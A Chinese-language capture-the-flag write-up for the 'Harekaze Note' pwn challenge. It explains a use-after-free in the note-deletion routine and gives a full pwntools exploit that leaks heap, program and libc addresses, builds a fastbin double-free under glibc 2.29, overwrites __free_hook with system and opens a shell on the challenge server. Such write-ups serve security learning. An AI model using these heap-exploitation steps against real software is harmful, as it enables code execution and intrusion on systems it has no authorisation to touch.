[BUUCTF-pwn] [HarekazeCTF2019]Harekaze Note

未知高版本libc的堆问题

题目给了libc但下不来。github在国内没办法。

一般2.23的堆没有tcache第一个块在010,2.27以后加了250的tcache第1个在260,2.31以后在2a0

可以先泄露堆地址再根据大概的版本往下走。

先按2.27在本地作成,发现远程不能用,虽然小于2.31但tcache不能直接doublefree。应该用fastbinattack 。

漏点:

这里的块建content后在0x20处有个指向content的指针,在free以后清除,重建里这个位置没有覆盖,形成UAF,但使用起来比较麻烦。

unsigned __int64 m4free()
{
  char *ptr; // [rsp+8h] [rbp-28h]
  char v2[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Title of note to delete: ");
  readn((__int64)v2, 16);
  ptr = getid(v2);
  if ( ptr )
  {
    *(_QWORD *)(*((_QWORD *)ptr + 2) + 24LL) = *((_QWORD *)ptr + 3);
    *(_QWORD *)(*((_QWORD *)ptr + 3) + 16LL) = *((_QWORD *)ptr + 2);
    free(*((void **)ptr + 4));                  // 指针未清理
    free(ptr);
    --dword_4060;
  }
  return __readfsqword(0x28u) ^ v3;
}

处理思路:

  1. 建A,A1(A的content),B,C...... 先释放B,再释放A(同时会释放掉A1)这时A1的fd指向B,重建A时由于A里指向A1的指针还在,可以showA得到heap地址
  2. 给D加content,D1=A1写入链表头指针(双链表存储的结构,链头块指向程序加载地址),释放D后在这里建B(位置在A1,D1,先建下D将这个块用掉)show得到程序加载地址
  3. 同理在这里写got表得到libc地址,注意这里直接用上次的B,但会覆盖B的指针,由于堆地址得到,在写里恢复原指针,以免断链。
  4. 得到libc就成功了一半,发现是2.29-0ubuntu2上网上下载一个重来。
  5. 先耗掉原有的tcache
  6. 再建9个块并加0x38的content,然后释放,这时0x31,0x41各有7个进入tcache,2个进入fastbin.
  7. 再重建9个块(不加content)耗掉0x31的tcache
  8. 这时7和8在fastbin中,释放8(旧7新8)在fastbin里成环
  9. 新建7块并加content耗掉tcache里的0x41块
  10. 这里只有fastbin里的环,可以用doublefree方法了
  11. 建4个块,分别加content依次写入__free_hook,bin/sh,0,system再释放/bin/sh

flag文件时/home/note/flag,程序远程运行很慢,找文件时还会超时,好在/home就一个note也就一个。

完整的exp:

from pwn import *

elf = ELF('./pwn')
context.arch = 'amd64'

def connect():
    global p,libc_elf,one,libc_start_main_ret,local
    
    local = 0
    if local == 1:
        p = process('./pwn')
    else:
        p = remote('node4.buuoj.cn', 25491) 

    libc_elf = ELF('../../libc6_2.29-0ubuntu2/lib/x86_64-linux-gnu/libc-2.29.so')
    one = [0xe21ce,0xe21d1,0xe21d4,0xe237f,0xe2383,0x106ef8]
    libc_start_main_ret = 0x26b6b

menu = b"Choice: "
def add(title):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"Title: ", title)

def addcontent(title, size, msg):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"Title of note to write content: ", title)
    p.sendlineafter(b"Size of content: ", str(size).encode())
    p.sendlineafter(b"Content: ", msg)

def free(title):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"Title of note to delete: ", title)

def show(title):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"Title of note to show content: ", title)

def pwn():

    add(b'A')
    addcontent(b'A', 40, b'a')
    add(b'B')
    add(b'C')
    add(b'D')
    add(b'E')

    free(b'B')
    free(b'A') #ptr->content no clear 
    add(b'A')

    show(b'A')
    heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00') )
    print('heap:', hex(heap_addr))

    addcontent(b'D', 40, b'A'*0x20+p64(heap_addr + 0x40)) #B1
    free(b'D')
    add(b'D')
    add(b'B')    
    show(b'B')
    pwn_base = u64(p.recvline()[:-1].ljust(8, b'\x00') ) -0x4080
    elf.address = pwn_base
    print('pwn:', hex(pwn_base))

    free(b'D')
    add(b'D') 
    addcontent(b'E', 40, b'B'.ljust(0x10, b'\x00') +flat(heap_addr-0x60, heap_addr+0x60, elf.got['printf'])) #B1
    show(b'B')
    libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00') ) - libc_elf.sym['printf']
    libc_elf.address = libc_base
    print('libc:', hex(libc_base))

    add(b'F')

    for i in range(9):
        add(str(i).encode())
        addcontent(str(i).encode(), 0x38, b'a')
    for i in range(9):
        free(str(i).encode())
    for i in range(9):
        add(str(i).encode())
    
    free(b'8')  #8+8.data
    add(b'8')
    #fastbin 0x38 loop
    #clear tcache
    for i in range(100,107):
        add(str(i).encode())
    for i in range(107,114):
        add(str(i).encode())
        addcontent(str(i).encode(), 0x38, b'a')
    
    for i in range(115,119):
        add(str(i).encode())
    
    addcontent(b'115', 0x38, p64(libc_elf.sym['__free_hook']))
    addcontent(b'116', 0x38, b'/bin/sh')
    addcontent(b'117', 0x38, b'/bin/sh')
    addcontent(b'118', 0x38, p64(libc_elf.sym['system']))
    
    free(b'116')
    p.sendline(b'cat /home/note/flag')
    p.interactive()

connect()
pwn()

上一篇:C++ 动态内存


下一篇:GWAS分析结果中pvalue/p.ajust为0时如何处理?